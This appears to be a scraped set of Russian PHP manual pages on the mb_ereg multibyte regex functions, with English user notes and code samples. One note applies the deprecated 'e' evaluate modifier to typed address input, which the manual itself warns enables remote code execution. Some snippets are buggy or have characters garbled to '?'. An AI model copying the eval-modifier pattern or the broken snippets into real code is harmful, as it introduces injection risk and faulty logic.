marco at thenetworksolution dot it 03-Feb-2014 02:47
To selectively uppercase parts of a string via mb_eregi_replace

    $str = mb_eregi_replace('\b([0-9]{1,4}[a-z]{1,2})\b', "strtoupper
('\\1')", $str, 'e');

Full example, how to fix an address manually typed, uppercasing the first letter of a words and keeping uppercase roman numerals and the letters A,B,C after the house number):

function ucAddress($str) {
// first lowercase all and use the default ucwords
    $str = ucwords(strtolower($str));
// let's fix the default ucwords...
// uppercase letters after house number (was lowercased by the strtolower above)
    $str = mb_eregi_replace('\b([0-9]{1,4}[a-z]{1,2})\b', "strtoupper
('\\1')", $str, 'e');
// the same for roman numerals
    $str = mb_eregi_replace('\bM{0,4}(CM|CD|D?C{0,3})(XC|XL|L?X{0,3})(IX|IV|V?I{0,3})\b', "strtoupper('\\0')", $str, 'e');
    return $str;
}
trng 15-Jun-2011 09:22
You can use \\n for capture group in replacement.
And you can NOT use $n notation (unlike preg_replace function).
Pluche 30-Dec-2010 04:17
Unlike preg_replace, mb_ereg_replace doesn't use separators

Exemple with preg_replace :
<?php $data = preg_replace("/[^A-Za-z0-9\.\-]/","",$data); ?>

Exemple with mb_ereg_replace :
<?php $data = mb_ereg_replace("[^A-Za-z0-9\.\-]","",$data); ?>
daemoneye at gmail dot com 03-Feb-2009 02:53
I got a pretty nasty error while trying to parse table rows(all contents were set to UTF-8) from the database for a dictionary project. The idea was to get all the rows from the first table (that is a table with bulgarian phrase in the first field, and its translation in english, french and german in the next fields). I needed to index all the bulgarian words that are found in the table to make an intelligent search. And that is where my headache started.

First of all, even with mb_strtolower() a lot of cyrillic characters went corrupted (ex: 'т,ъ,у,ф,б,г,з,ж,' etc...). After an hour of different attempts I got such a solution:

<?php

mb_internal_encoding("UTF-8");
mb_regex_encoding("UTF-8");

$rows = $db->getRows();

$contents = array();
foreach ($rows as $eachRow)
{
    $cleared = str_replace($commonWords, ' ', mb_strtolower(stripslashes($eachRow['bulgarian']), 'UTF-8' ));
    if (trim($cleared) != '') $contents[] = trim($cleared);
}

$list = array();
foreach ($contents as $eachRow)
{
    $exploded = explode(' ', $eachRow);
    foreach ($exploded as $eachExpl)
    {
        $eachExpl = mb_ereg_replace('[^а-я ]',' ', $eachExpl);
        if (trim($eachExpl) != '')
            if (!in_array($eachExpl, $list, true))    $list[] = trim($eachExpl);
    }
}

?>

To work properly I got to set all the internal encoding settings to UTF-8. Else the default Latin-1 got half my database with missing characters.

I am posting this solution just in case someone has encountered a similar problem. Hope it helps you in case you need something like that.
keizo at gomo dot jp 23-Jul-2008 09:32
<?php
$pattern = "([?-?]+)[0-9]+";
$string = mb_ereg_replace($pattern, '?\\1?:\\0', $string);
?>

you can use \\n for capture group in replacement
gmx dot net at ulrich dot mierendorff 01-Jul-2008 07:39
If you want to replace characters like "a" or "o" you can use mb_ereg_replace, but it is very slow. str_replace is much faster and also works with characters like "a" or "o"!

I think this has something to with the fact that str_replace works on byte level and does not care about characters.
I hope that can help.
04-Dec-2006 08:36
'i' option does not work correctly with multibyte characters. The function does not locate/replace the multibyte string if it's different case then specified on multibyte needle which is in different case.
squeegee 01-Nov-2006 07:41
well, if you just calculated the length of the find and replace strings once instead of on every loop, it would likely speed it up a lot.
mpnicholas [@t] gmail (dot) com 09-Jul-2006 03:09
Regarding the mb_str_ireplace() function: I benchmarked it against mb_eregi_replace() for single-character substitution, and it was significantly slower. Despite avoiding the ereg call, I think the while loop ends slowing you down too much for this to be practical.
vondrej(at)gmail(dot)com 26-Feb-2006 03:47
Are you looking for htmlentities() for multibyte strings? This might help you - it just replace <, >, ", '

<?php
/**
 *  Multibyte equivalent for htmlentities() [lite version :)]
 *
 * @param string $str
 * @param string $encoding
 * @return string
 **/
function mb_htmlentities($str, $encoding = 'utf-8') {
    mb_regex_encoding($encoding);
    $pattern = array('<', '>', '"', '\'');
    $replacement = array('&lt;', '&gt;', '&quot;', '&#39;');
    for ($i=0; $i<sizeof($pattern); $i++) {
        $str = mb_ereg_replace($pattern[$i], $replacement[$i], $str);
    }
    return $str;
}
?>
faxe at neostrada dot pl 09-Aug-2005 03:52
A simple mb_str_ireplace() implementation - a faster (?) replacement for non-regexp multi-byte string replacement:

<?php
function mb_str_ireplace($co, $naCo, $wCzym)
{
    $wCzymM = mb_strtolower($wCzym);
    $coM    = mb_strtolower($co);
    $offset = 0;

        while(!is_bool($poz = mb_strpos($wCzymM, $coM, $offset)))
    {
        $offset = $poz + mb_strlen($naCo);
        $wCzym = mb_substr($wCzym, 0, $poz). $naCo .mb_substr($wCzym, $poz+mb_strlen($co));
        $wCzymM = mb_strtolower($wCzym);
    }

    return $wCzym;
}
?>

[thiago - EDITOR NOTE: This function has improvements from d-okumura [aat] fi{dot}kyd[dot]co.jp]


Возвращает начальную позицию следующего совпадения с регулярным выражением

  • « mb_ereg_replace
  • mb_ereg_search_getregs »
  • PHP Manual
  • Функции для работы с многобайтовыми строками
  • Возвращает начальную позицию следующего совпадения с регулярным выражением

mb_ereg_search_getpos

(PHP 4 >= 4.2.0, PHP 5, PHP 7, PHP 8)

mb_ereg_search_getpos — Возвращает начальную позицию следующего совпадения с регулярным выражением

Описание

mb_ereg_search_getpos(): int

Возвращает начальную позицию следующего совпадения с регулярным выражением.

Список параметров

У этой функции нет параметров.

Возвращаемые значения

mb_ereg_search_getpos() возвращает начальную позицию следующего совпадения с регулярным выражением для функций mb_ereg_search(), mb_ereg_search_pos(), mb_ereg_search_regs(). Позиция представляется в виде числа байт с начала строки.

Примечания

Замечание:

Для этой функции будет использована внутренняя кодировка или кодировка, установленная функцией mb_regex_encoding().

Смотрите также

  • mb_regex_encoding() - Устанавливает/получает текущую кодировку для многобайтового регулярного выражения
  • mb_ereg_search_setpos() - Задаёт начальную позицию в строке, с которой начнётся поиск соответствий регулярному выражению

User Contributed Notes

patil16nit at gmail dot com 24-Dec-2015 12:49
The function mb_ereg_search_pos() returns matched byte length, not the position of the search part.


Выводит результат последнего сравнения с регулярным выражением

  • « mb_ereg_search_getpos
  • mb_ereg_search_init »
  • PHP Manual
  • Функции для работы с многобайтовыми строками
  • Выводит результат последнего сравнения с регулярным выражением

mb_ereg_search_getregs

(PHP 4 >= 4.2.0, PHP 5, PHP 7, PHP 8)

mb_ereg_search_getregs — Выводит результат последнего сравнения с регулярным выражением

Описание

mb_ereg_search_getregs(): array|false

Получение результата выполнения функций сравнения многобайтных строк с регулярным выражением

Список параметров

У этой функции нет параметров.

Возвращаемые значения

Массив (array) содержащий совпавшие с регулярным выражением подстроки в результате выполнения функций mb_ereg_search(), mb_ereg_search_pos(), mb_ereg_search_regs(). Если совпадений несколько, то первый элемент будет содержать совпавшую подстроку, второй будет содержать первую часть в квадратных скобках, третий элемент будет содержать вторую часть в квадратных скобках и так далее. Функция вернёт false в случае возникновения ошибки.

Примечания

Замечание:

Для этой функции будет использована внутренняя кодировка или кодировка, установленная функцией mb_regex_encoding().

Смотрите также

  • mb_regex_encoding() - Устанавливает/получает текущую кодировку для многобайтового регулярного выражения
  • mb_ereg_search_init() - Инициализация поиска соответствий регулярному выражению многобайтовой строкой и текстом регулярного выражения

User Contributed Notes

Marius Kazemekaitis 25-Jan-2007 11:48
Get unicode characters from string.

<?php

mb_regex_encoding("UTF-8");
mb_ereg_search_init("12345=aceeisuuACEEISUU");
mb_ereg_search("=(\w+)");
$match = mb_ereg_search_getregs();

print($match[1]); //aceeisuuACEEISUU

?>


Инициализация поиска соответствий регулярному выражению многобайтовой строкой и текстом регулярного выражения

  • « mb_ereg_search_getregs
  • mb_ereg_search_pos »
  • PHP Manual
  • Функции для работы с многобайтовыми строками
  • Инициализация поиска соответствий регулярному выражению многобайтовой строкой и текстом регулярного выражения

mb_ereg_search_init

(PHP 4 >= 4.2.0, PHP 5, PHP 7, PHP 8)

mb_ereg_search_init — Инициализация поиска соответствий регулярному выражению многобайтовой строкой и текстом регулярного выражения

Описание

mb_ereg_search_init(string $string, ?string $pattern = null, ?string $options = null): bool

mb_ereg_search_init() задаёт значения параметров
string и pattern
для функций регулярных выражений. Эти значения будут использоваться
в функциях mb_ereg_search(),
mb_ereg_search_pos() и
mb_ereg_search_regs().

Список параметров

string

Строка, в которой будет осуществляться поиск соответствий.

pattern

Шаблон, регулярное выражение.

options

Опция поиска. Подробнее смотрите mb_regex_set_options().

Возвращаемые значения

Возвращает true в случае успешного выполнения или false в случае возникновения ошибки.

Список изменений

Версия | Описание
8.0.0 | pattern и options теперь допускают значение null.

Примечания

Замечание:

Для этой функции будет использована внутренняя кодировка или кодировка, установленная функцией mb_regex_encoding().

Смотрите также

  • mb_regex_encoding() - Устанавливает/получает текущую кодировку для многобайтового регулярного выражения
  • mb_ereg_search_regs() - Возвращает совпавшую с регулярным выражением часть строки

User Contributed Notes

There are no user contributed notes for this page.


Возвращает позицию и длину совпавшего с регулярным выражением участка многобайтовой строки

  • « mb_ereg_search_init
  • mb_ereg_search_regs »
  • PHP Manual
  • Функции для работы с многобайтовыми строками
  • Возвращает позицию и длину совпавшего с регулярным выражением участка многобайтовой строки

mb_ereg_search_pos

(PHP 4 >= 4.2.0, PHP 5, PHP 7, PHP 8)

mb_ereg_search_pos — Возвращает позицию и длину совпавшего с регулярным выражением участка многобайтовой строки

Описание

mb_ereg_search_pos(?string $pattern = null, ?string $options = null): array|false

Возвращает позицию и длину совпавшего с регулярным выражением участка заранее определённой многобайтной строки.

Строка для поиска задаётся функцией mb_ereg_search_init(). Если она не задавалась, будет использована строка, заданная ранее.

Список параметров

pattern

Шаблон, текст регулярного выражения.

options

Опция поиска. Подробнее смотрите mb_regex_set_options().

Возвращаемые значения

Массив (array) содержащий два элемента. Первый элемент - смещение в байтах, с которого начинается совпадение относительно начала искомой строки, и второй элемент - длина совпадения в байтах.

В случае возникновения ошибки возвращается false.

Список изменений

Версия | Описание
8.0.0 | pattern и options теперь допускают значение null.

Примечания

Замечание:

Для этой функции будет использована внутренняя кодировка или кодировка, установленная функцией mb_regex_encoding().

Смотрите также

  • mb_regex_encoding() - Устанавливает/получает текущую кодировку для многобайтового регулярного выражения
  • mb_ereg_search_init() - Инициализация поиска соответствий регулярному выражению многобайтовой строкой и текстом регулярного выражения

User Contributed Notes

v dot picture at free dot fr 22-Apr-2021 02:57
This function is absolutely not multibyte-safe, it actually returns the position of the match as if the string was not multibyte.

The results of this function are exactly the same as if you were using preg_match_all with PREG_OFFSET_CAPTURE, even with the "unicode" flag it's simply NOT working

(Bug report filed)


Возвращает совпавшую с регулярным выражением часть строки

  • « mb_ereg_search_pos
  • mb_ereg_search_setpos »
  • PHP Manual
  • Функции для работы с многобайтовыми строками
  • Возвращает совпавшую с регулярным выражением часть строки

mb_ereg_search_regs

(PHP 4 >= 4.2.0, PHP 5, PHP 7, PHP 8)

mb_ereg_search_regs — Возвращает совпавшую с регулярным выражением часть строки

Описание

mb_ereg_search_regs(?string $pattern = null, ?string $options = null): array|false

Возвращает совпавшую с регулярным выражением часть строки.

Список параметров

pattern

Шаблон, текст регулярного выражения.

options

Опция поиска. Подробнее смотрите mb_regex_set_options().

Возвращаемые значения

mb_ereg_search_regs() запускает поиск в многобайтовой строке соответствий регулярному выражению, и если такие соответствия обнаружены, возвращает массив (array). В первый элемент массива помещается совпавшая подстрока, во второй помещается первый значение первого элемента заключённое в квадратные скобки, в третий элемент помещается второй также в скобках и так далее. Функция возвращает false в случае возникновения ошибки.

Список изменений

Версия | Описание
8.0.0 | pattern и options теперь допускают значение null.

Примечания

Замечание:

Для этой функции будет использована внутренняя кодировка или кодировка, установленная функцией mb_regex_encoding().

Смотрите также

  • mb_regex_encoding() - Устанавливает/получает текущую кодировку для многобайтового регулярного выражения
  • mb_ereg_search_init() - Инициализация поиска соответствий регулярному выражению многобайтовой строкой и текстом регулярного выражения

User Contributed Notes

There are no user contributed notes for this page.


Задаёт начальную позицию в строке, с которой начнётся поиск соответствий регулярному выражению

  • « mb_ereg_search_regs
  • mb_ereg_search »
  • PHP Manual
  • Функции для работы с многобайтовыми строками
  • Задаёт начальную позицию в строке, с которой начнётся поиск соответствий регулярному выражению

mb_ereg_search_setpos

(PHP 4 >= 4.2.0, PHP 5, PHP 7, PHP 8)

mb_ereg_search_setpos — Задаёт начальную позицию в строке, с которой начнётся поиск соответствий регулярному выражению

Описание

mb_ereg_search_setpos(int $offset): bool

mb_ereg_search_setpos() задаёт начальную позицию, с которой начнётся поиск соответствий регулярному выражению функцией mb_ereg_search().

Список параметров

offset

Устанавливаемая позиция. Если значение отрицательно, отсчёт идёт с конца строки.

Возвращаемые значения

Возвращает true в случае успешного выполнения или false в случае возникновения ошибки.

Список изменений

Версия | Описание
7.1.0 | Добавлена поддержка отрицательных значений offset.

Примечания

Замечание:

Для этой функции будет использована внутренняя кодировка или кодировка, установленная функцией mb_regex_encoding().

Смотрите также

  • mb_regex_encoding() - Устанавливает/получает текущую кодировку для многобайтового регулярного выражения
  • mb_ereg_search_init() - Инициализация поиска соответствий регулярному выражению многобайтовой строкой и текстом регулярного выражения

User Contributed Notes

phpnet at osps dot net 22-Sep-2021 04:25
This method, like mb_ereg_search_pos, appears to use byte offsets, not character offsets. This seems counter intuitive for the mb_* methods, which inherently take a "character" view of strings, as opposed to a "byte" based view. Even the mb_strpos method returns a character offset.

The following code reveals this byte-oriented behaviour:

<?php
    $x = 'abc456789'. "\u{1000}" .'abc4567890';
    $re = 'ab.';
    echo 'x='. $x .PHP_EOL;
    echo 're='. $re .PHP_EOL;
    mb_ereg_search_init( $x );
    mb_internal_encoding( mb_detect_encoding( $x) );
    echo 'mb_strlen='. mb_strlen( $x ) .PHP_EOL;
    echo 'strlen='. strlen( $x ) .PHP_EOL;
    foreach ( array( 0, 9, 10, 11, 12, 13 ) as $o ) {

        mb_ereg_search_setpos( $o );
        echo 'Offset='. $o
            .' mb_substr='. mb_substr( $x, $o )
            .' substr='. substr( $x, $o )
            .' mb_ereg_search_regs='. print_r( mb_ereg_search_regs( $re ), true  )
            .PHP_EOL;
    }

?>
With character offsets, we would expect offsets 11 and above to return no search result, whereas what we see is:

<?php

=abc456789?abc4567890
re=ab.
mb_strlen=20
strlen=22
Offset=0 mb_substr=abc456789?abc4567890 substr=abc456789?abc4567890 mb_ereg_search_regs=Array
(
    [0] => abc
)

Offset=9 mb_substr=?abc4567890 substr=?abc4567890 mb_ereg_search_regs=Array
(
    [0] => abc
)

Offset=10 mb_substr=abc4567890 substr=??abc4567890 mb_ereg_search_regs=Array
(
    [0] => abc
)

Offset=11 mb_substr=bc4567890 substr=?abc4567890 mb_ereg_search_regs=Array
(
    [0] => abc
)

Offset=12 mb_substr=c4567890 substr=abc4567890 mb_ereg_search_regs=Array
(
    [0] => abc
)

Offset=13 mb_substr=4567890 substr=bc4567890 mb_ereg_search_regs=
?>


Поиск соответствий регулярному выражению для строк в многобайтовых кодировках

  • « mb_ereg_search_setpos
  • mb_ereg »
  • PHP Manual
  • Функции для работы с многобайтовыми строками
  • Поиск соответствий регулярному выражению для строк в многобайтовых кодировках

mb_ereg_search

(PHP 4 >= 4.2.0, PHP 5, PHP 7, PHP 8)

mb_ereg_search — Поиск соответствий регулярному выражению для строк в многобайтовых кодировках

Описание

mb_ereg_search(?string $pattern = null, ?string $options = null): bool

Выполняет поиск соответствий регулярному выражению в многобайтовой строке.

Список параметров

pattern

Шаблон для поиска, текст регулярного выражения.

options

Опция поиска. Подробнее смотрите mb_regex_set_options().

Возвращаемые значения

mb_ereg_search() возвращает true, если многобайтная строка соответствует регулярному выражению, либо false в противном случае. Строка (string) для поиска соответствий задаётся функцией mb_ereg_search_init(). Если аргумент pattern не задан, будет использовано предыдущее выражение.

Список изменений

Версия | Описание
8.0.0 | pattern и options теперь допускают значение null.

Примечания

Замечание:

Для этой функции будет использована внутренняя кодировка или кодировка, установленная функцией mb_regex_encoding().

Смотрите также

  • mb_regex_encoding() - Устанавливает/получает текущую кодировку для многобайтового регулярного выражения
  • mb_ereg_search_init() - Инициализация поиска соответствий регулярному выражению многобайтовой строкой и текстом регулярного выражения

User Contributed Notes

Christian 08-Aug-2021 09:19
A 'match_all' helper function based on dulao's answer. Someone might find it useful...

<?php
function mb_ereg_match_all($pattern, $subject, &$matches, $options = '', $setOrder = false, $offset = 0) {
    if (!mb_ereg_search_init($subject, $pattern, $options)) {
        return false;
    }
    if ($offset != 0 && !mb_ereg_search_setpos($offset)) {
        return false;
    }
    $matches = [];
    if (!mb_ereg_search()) {
        return 0;
    }
    $regs = mb_ereg_search_getregs();
    $count = 0;
    do {
        $count++;
        if ($setOrder) {
            foreach ($regs as $key => $val) {
                $matches[$key][] = $val;
            }
        } else {
            $matches[] = $regs;
        }
        $regs = mb_ereg_search_regs();
    }
    while($regs);
    return $count;
}
?>
dulao5 at gmail dot com 28-Apr-2007 11:11
mb_ereg_search & subpatterns
use loop:
<?php
    $str = "??abc + abc ?!?!??#?china string";

    $reg = "\w+";

    mb_regex_encoding("UTF-8");

    mb_ereg_search_init($str, $reg);
    $r = mb_ereg_search();

    if(!$r)
    {
        echo "null\n";
    }
    else
    {
        $r = mb_ereg_search_getregs(); //get first result
        do
        {
            var_dump($r[0]);
            $r = mb_ereg_search_regs();//get next result
        }
        while($r);
    }
?>


Совпадение с регулярным выражением с поддержкой многобайтовых кодировок

  • « mb_ereg_search
  • mb_eregi_replace »
  • PHP Manual
  • Функции для работы с многобайтовыми строками
  • Совпадение с регулярным выражением с поддержкой многобайтовых кодировок

mb_ereg

(PHP 4 >= 4.2.0, PHP 5, PHP 7, PHP 8)

mb_ereg — Совпадение с регулярным выражением с поддержкой многобайтовых кодировок

Описание

mb_ereg(string $pattern, string $string, array &$matches = null): bool

Выполняет поиск совпадения с регулярным выражением с поддержкой многобайтовых кодировок.

Список параметров

pattern

Шаблон поиска.

string

Строка (string), в которой производится поиск.

matches

Если найдены совпадения для подстроки в скобках шаблона pattern и функция вызвана с третьим аргументом matches, совпадения будут сохранены в массиве matches. Если подобных совпадений найдено не будет, то matches установится как пустой массив.

$matches[1] будет содержать первую слева подстроку в скобках; $matches[2] - вторую, и так далее. $matches[0] будет содержать копию всей строки.

Возвращаемые значения

Возвращает true или false, в зависимости от того, найдено ли совпадение текста по шаблону pattern в строке string.

Список изменений

Версия | Описание
8.0.0 | Теперь, в случае успешного завершения, эта функция возвращает true. Раньше она возвращала длину найденного вхождения pattern в строке string в случае, если был передан параметр matches. Если опциональный параметр matches не был задан, или длина проверяемой строки равнялась 0, эта функция возвращала число 1.
7.1.0 | Теперь mb_ereg() устанавливает matches равным пустому массиву (array), если ничего не найдено. Ранее в этом случае matches оставался неизменным.

Примечания

Замечание:

Для этой функции будет использована внутренняя кодировка или кодировка, установленная функцией mb_regex_encoding().

Смотрите также

  • mb_regex_encoding() - Устанавливает/получает текущую кодировку для многобайтового регулярного выражения
  • mb_eregi() - Поиск соответствий регулярному выражению с поддержкой многобайтовых символов без учёта регистра

User Contributed Notes

Anonymous 29-May-2022 06:22
If adding ".*" at the end of the pattern returns "false"
whereas only one "." returns "true",

Suspect the string is too long for the pattern matching.

In this case, using preg_match() returns "true" when putting ".*"
, but adding more "$" or "\z" returns "false" as expected.
Anonymous 11-Aug-2021 03:32
One of the differences between preg_match() & mb_ereg()
about "captured parenthesized subpattern".

<?php

preg_match('/(abc)(.*)/', 'abc', $match);
var_dump($match);

mb_ereg('(abc)(.*)', 'abc', $match);
var_dump($match);

?>

array(3) {
  [0]=>
  string(3) "abc"
  [1]=>
  string(3) "abc"
  [2]=>
  string(0) ""       // <-- "string"(0) "" : preg_match()
}

array(3) {
  [0]=>
  string(3) "abc"
  [1]=>
  string(3) "abc"
  [2]=>
  bool(false)       // <-- "bool"(false) : mb_ereg()
}
Anonymous 03-Aug-2021 07:56
mb_ereg() with a named-subpattern
never catches non-named-subpattern.
(Oniguruma's restriction)

<?php

$str = 'abcdefg';
$patternA = '\A(abcd)(.*)\z';        // both caught [1]abcd [2]efg
$patternB = '\A(abcd)(?<rest>.*)\z'; // non-named 'abcd' never caught

mb_ereg($patternA, $str, $match);
echo '<pre>'.print_r($match, true).'</pre>';

mb_ereg($patternB, $str, $match);
echo '<pre>'.print_r($match, true).'</pre>';
?>

Array
(
    [0] => abcdefg
    [1] => abcd
    [2] => efg
)

Array
(
    [0] => abcdefg
    [1] => efg
    [rest] => efg
)
Anonymous 08-Dec-2020 01:28
<?php

# What mb_ereg() returns & changes $_3rd_argument into
# (Just run this script)

function dump2str($var) {
    ob_start();
    var_dump($var);
    $output = ob_get_contents();
    ob_end_clean();
    return $output;
}

# (PHP7)empty pattern returns bool(false) with Warning
# (PHP8)empty pattern throws ValueError
    $emp_ptn = '';
try{
    $emp_ptn.=  dump2str(mb_ereg('', 'abcde'));
}catch(Exception | Error $e){
    $emp_ptn.=  get_class($e).'<br>';
    $emp_ptn.=  $e->getMessage();
    $emp_ptn.=  '<pre>'.$e->getTraceAsString().'</pre>';
}

echo
'PHP '.phpversion().'<br><br>'.

'# match<br>'.
dump2str(mb_ereg("bcd", "abcde")).
' : mb_ereg("bcd", "abcde")<br><br>'.

'# match with 3rd argument<br>'.
dump2str(mb_ereg("bcd", "abcde", $_3rd)).
' : mb_ereg("bcd", "abcde", $_3rd)    // '.dump2str($_3rd).'<br><br>'.

'# match (0 byte)<br>'.
dump2str(mb_ereg("^", "abcde")).
' : mb_ereg("^", "abcde")<br><br>'.

'# match (0 byte) with 3rd argument<br>'.
dump2str(mb_ereg("^", "abcde", $_3rd)).
' : mb_ereg("^", "abcde", $_3rd)    // '.dump2str($_3rd).'<br><br>'.

'# unmatch<br>'.
dump2str(mb_ereg("f", "abcde")).
' : mb_ereg("f", "abcde")<br><br>'.

'# unmatch with 3rd argument<br>'.
dump2str(mb_ereg("f", "abcde", $_3rd)).
' : mb_ereg("f", "abcde", $_3rd)    // '.dump2str($_3rd).'<br><br>'.

'# empty pattern<br>'.
$emp_ptn.
' : mb_ereg("", "abcde")<br><br>'.

'# empty pattern with 3rd argument<br>'.
$emp_ptn.
' : mb_ereg("", "abcde", $_3rd)    // '.dump2str($_3rd).'<br><br>';

?>
Anonymous 21-Mar-2019 08:24
<?php

// in PHP_VERSION 7.1

// WITHOUT $regs (3rd argument)
$int = mb_ereg('abcde', '_abcde_'); // [5 bytes match]
var_dump($int);                     // int(1)

$int = mb_ereg('ab', '_ab_');       // [2 bytes match]
var_dump($int);                     // int(1)

$int = mb_ereg('^', '_ab_');        // [0 bytes match]
var_dump($int);                     // int(1)

$int = mb_ereg('ab', '__');         // [not match]
var_dump($int);                     // bool(false)

$int = mb_ereg('', '_ab_');         // [error : empty pattern]
                                    // Warning: mb_ereg(): empty pattern in ...
var_dump($int);                     // bool(false)

$int = mb_ereg('ab');               // [error : fewer arguments]
                                    // Warning: mb_ereg() expects at least 2 parameters, 1 given in ...
var_dump($int);                     // bool(false)

                    // Without 3rd argument, mb_ereg() returns either int(1) or bool(false).

// WITH $regs (3rd argument)
$int = mb_ereg('abcde', '_abcde_', $regs);// [5 bytes match]
var_dump($int);                           // int(5)
var_dump($regs);                          // array(1) { [0]=> string(5) "abcde" }

$int = mb_ereg('ab', '_ab_', $regs);      // [2 bytes match]
var_dump($int);                           // int(2)
var_dump($regs);                          // array(1) { [0]=> string(2) "ab" }

$int = mb_ereg('^', '_ab_', $regs);       // [0 bytes match]
var_dump($int);                           // int(1)
var_dump($regs);                          // array(1) { [0]=> bool(false) }

$int = mb_ereg('ab', '__', $regs);        // [not match]
var_dump($int);                           // bool(false)
var_dump($regs);                          // array(0) { }

$int = mb_ereg('', '_ab_', $regs);        // [error : empty pattern]
                                          // Warning: mb_ereg(): empty pattern in ...
var_dump($int);                           // bool(false)
var_dump($regs);                          // array(0) { }

$int = mb_ereg('ab');                     // [error : fewer arguments]
                                          // Warning: mb_ereg() expects at least 2 parameters, 1 given in ...
var_dump($int);                           // bool(false)
var_dump($regs);                          // array(0) { }

                    // With 3rd argument, mb_ereg() returns either int(how many bytes matched) or bool(false)
                    // and 3rd argument is a bit complicated.

?>
lastuser at example dot com 14-Mar-2018 05:32
I hope this information is shown somewhere on php.net.

According to "https://github.com/php/php-src/tree/PHP-5.6/ext/mbstring/oniguruma",
the bundled Oniguruma regex library version seems ...
 4.7.1 between PHP 5.3 - 5.4.45,
 5.9.2 between PHP 5.5 - 7.1.16,
 6.3.0 since PHP 7.2 - .
Anonymous 11-Mar-2017 01:14
Old link to Oniguruma regex syntax is not working anymore, there is a working one:
https://github.com/geoffgarside/oniguruma/blob/master/Syntax.txt
mb_ereg() seems unable to Use &#34;named sub 06-May-2015 01:42
mb_ereg() seems unable to Use "named subpattern".
preg_match() seems a substitute only in UTF-8 encoding.

<?php

$text = 'multi_byte_string';
$pattern = '.*(?<name>string).*';        // "?P" causes "mbregex compile err" in PHP 5.3.5

if(mb_ereg($pattern, $text, $matches)){
    echo '<pre>'.print_r($matches, true).'</pre>';
}else{
    echo 'no match';
}

?>

This code ignores "?<name>" in $pattern and displays below.

Array
(
    [0] => multi_byte_string
    [1] => string
)

$pattern = '/.*(?<name>string).*/u';
if(preg_match($pattern, $text, $matches)){

instead of lines 2 & 3
displays below (in UTF-8 encoding).

Array
(
    [0] => multi_byte_string
    [name] => string
    [1] => string
)
Riikka K 13-Jul-2014 04:23
While hardly mentioned anywhere, it may be useful to note that mb_ereg uses Oniguruma library internally. The syntax for the default mode (ruby) is described here:

http://www.geocities.jp/kosako3/oniguruma/doc/RE.txt
pressler at hotmail dot de 19-Nov-2012 10:50
Note that mb_ereg() does not support the \uFFFF unicode syntax but uses \x{FFFF} instead:

<?PHP

$text = 'Peter is a boy.'; // english
$text = '???? ?? ???.'; // arabic
//$text = '???? ??? ???.'; // hebrew

mb_regex_encoding('UTF-8');

if(mb_ereg('[\x{0600}-\x{06FF}]', $text)) // arabic range
//if(mb_ereg('[\x{0590}-\x{05FF}]', $text)) // hebrew range
{
    echo "Text has some arabic/hebrew characters.";
}
else
{
    echo "Text doesnt have arabic/hebrew characters.";
}

?>
Jon 11-Apr-2009 04:22
Hebrew regex tested on PHP 5, Ubuntu 8.04.
Seems to work fine without the mb_regex_encoding lines (commented out).
Didn't seem to work with \uxxxx (also commented out).

<?php
echo "Line ";
//mb_regex_encoding("ISO-8859-8");
//if(mb_ereg(".*([\u05d0-\u05ea]).*", $this->current_line))
if(mb_ereg(".*([?-?]).*", $this->current_line))
{
    echo "has";
}
else
{
    echo "doesn't have";
}
echo " Hebrew characters.<br>";
//mb_regex_encoding("UTF-8");
?>


Осуществляет замену по регулярному выражению с поддержкой многобайтовых символов без учёта регистра

  • « mb_ereg
  • mb_eregi »
  • PHP Manual
  • Функции для работы с многобайтовыми строками
  • Осуществляет замену по регулярному выражению с поддержкой многобайтовых символов без учёта регистра

mb_eregi_replace

(PHP 4 >= 4.2.0, PHP 5, PHP 7, PHP 8)

mb_eregi_replace — Осуществляет замену по регулярному выражению с поддержкой многобайтовых символов без учёта регистра

Описание

mb_eregi_replace(
string $pattern,
string $replacement,
string $string,
?string $options = null
): string|false|null

Сканирует строку string для поиска совпадений с pattern, затем заменяет совпавший текст на replacement.

Список параметров

pattern

Шаблон регулярного выражения. Могут использоваться многобайтовые символы. Регистр будет игнорироваться.

replacement

Текст замены.

string

Строка (string) для поиска.

options
Опция поиска. Подробнее смотрите mb_regex_set_options().

Возвращаемые значения

Результирующая строка (string) в случае успешного выполнения или false в случае возникновения ошибки. Если string не является корректной строкой для текущей кодировки, будет возвращено null.

Список изменений

Версия | Описание
8.0.0 | Параметр options теперь может принимать значение null.
7.1.0 | Функция проверяет, является ли string корректной строкой для текущей кодировки.
7.1.0 | Модификатор e объявлен устаревшим.

Примечания

Замечание:

Для этой функции будет использована внутренняя кодировка или кодировка, установленная функцией mb_regex_encoding().

Внимание

Никогда не используйте модификатор e при работе с данными, полученными из недостоверных источников. Не выполняется никакого автоматического экранирования этих данных (в отличие от preg_replace()). Игнорирование данных требований, скорее всего, создаст уязвимость выполнения удалённого кода в вашем приложении.

Смотрите также

  • mb_regex_encoding() - Устанавливает/получает текущую кодировку для многобайтового регулярного выражения
  • mb_ereg_replace() - Осуществляет замену по регулярному выражению с поддержкой многобайтовых кодировок

User Contributed Notes

kirilatpillaxdotcom 02-Aug-2012 09:52
To highlight words in multi-byte text:

<?php
$s = 'Алабала';
$f = 'а';
echo preg_replace('/('.$f.')/iu', '<b>$1</b>', $s);
?>
its2dark2c at yahoo dot com 20-Aug-2011 04:36
when trying to find a way to strip newline from a multibyte UTF-8 string i got to this function just to discover later that POSIX don't "do" newline so i can't strip them, examples of what i tried are : \r\n , \\r\\n , (\\r\\n) (\\r|\\n)

and got no result
so since i wanted something like mb_nl2br() that's simple i wrote this little recursive function for UTF-8:

<?php
function mb_str_replace($find,$replace,&$str)
{
$i = mb_strpos($str,$find, 0,"UTF-8");
if ($index===false) {return;}
$str = mb_substr($str, 0,$i).$replace.mb_substr($str, $i+mb_strlen($find,"UTF-8"),mb_strlen($str,"UTF-8"));
$this->mb_str_replace($find,$replace,$str);
}
?>

note: moderate unit tesing was done, changed to other encodings
cat at feelthehouse dot ru 13-Sep-2008 09:27
Transliterator for cyrillic-to-latin letters for UTF chars:

<?php
function do_translit($st) {
    $replacement = array(
        "й"=>"i","ц"=>"c","у"=>"u","к"=>"k","е"=>"e","н"=>"n",
        "г"=>"g","ш"=>"sh","щ"=>"sh","з"=>"z","х"=>"x","ъ"=>"\'",
        "ф"=>"f","ы"=>"i","в"=>"v","а"=>"a","п"=>"p","р"=>"r",
        "о"=>"o","л"=>"l","д"=>"d","ж"=>"zh","э"=>"ie","ё"=>"e",
        "я"=>"ya","ч"=>"ch","с"=>"c","м"=>"m","и"=>"i","т"=>"t",
        "ь"=>"\'","б"=>"b","ю"=>"yu",
